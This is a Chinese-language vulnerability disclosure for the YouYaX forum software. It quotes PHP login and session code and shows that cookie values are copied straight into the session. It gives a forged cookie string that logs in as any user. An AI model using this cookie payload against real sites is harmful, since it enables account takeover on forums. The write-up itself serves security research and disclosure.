漏洞作者: roker
/ext/mobile/login.php 登入页面的处理如下
[php]
if (isset($_POST['sub'])) { include('../../ext_public/database_mobile.php'); mysql_query("SET NAMES 'utf8'"); $sql = "select* from " . $config['db_prefix'] . "user where binary user='" . addslashes($_POST['user']) . "' and binary pass='" . md5(addslashes($_POST['pass'])) . "' and status=1 and complete=0"; $user = $_POST['user']; $result = mysql_query($sql); $num = mysql_num_rows($result); if ($num == 1) { $_SESSION['youyax_data'] = 1; $_SESSION['youyax_user'] = $user; $_SESSION['youyax_bz'] = 1; @setcookie('youyax_data',1,time()+(60*60*24*30),"/"); @setcookie('youyax_user',$user,time()+(60*60*24*30),"/"); @setcookie('youyax_bz',1,time()+(60*60*24*30),"/"); echo '<script>window.location.href="'.$config['SITE'].'";</script>'; exit; } else { $_SESSION['youyax_data'] = 0; echo '<script>alert("输入错误 or 尚未激活");</script>'; } }
[/php]
账号密码正确即赋予 session youyax_data=1 youyax_user=user youyax_bz=1
然而,这个session是可以自己构造的。看到/Lib/IndexAction.php 的代码
[php]
public function index() { header("Content-Type:text/html; charset=utf-8"); if (empty($_SESSION['youyax_user']) && !stristr($_SERVER['HTTP_USER_AGENT'], 'android') && !stristr($_SERVER['HTTP_USER_AGENT'], 'iphone') && !stristr($_SERVER['HTTP_USER_AGENT'], 'ipad')) { $cache = new Cache(20); } if(isset($_COOKIE['youyax_data']) && isset($_COOKIE['youyax_user']) && isset($_COOKIE['youyax_bz'])){ $_SESSION['youyax_data'] = $_COOKIE['youyax_data']; $_SESSION['youyax_user'] = $_COOKIE['youyax_user']; $_SESSION['youyax_bz'] = $_COOKIE['youyax_bz']; } if ($_SESSION['youyax_data'] == 1) { $bz = $_SESSION['youyax_bz']; $user = $_SESSION['youyax_user']; if ($bz != 1) $bz = 0; if ($bz == 0) { $_SESSION['youyax_user'] = ""; $user = ""; $_SESSION['youyax_data'] = 0; } } else { $_SESSION['youyax_user'] = ""; $_SESSION['youyax_bz'] = ""; $bz = 0; $user = ""; } $this->assign('bz', $bz)->assign('user', $user);
[/php]
显而易见了。检测cookie再将cookie值赋予session。 那么session将变得毫无意义。。
构造 Cookie: youyax_data=1; youyax_user=username; youyax_bz=1
可前台登入任意用户。对于 一个bbs的话 ,该漏洞是致命的。
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论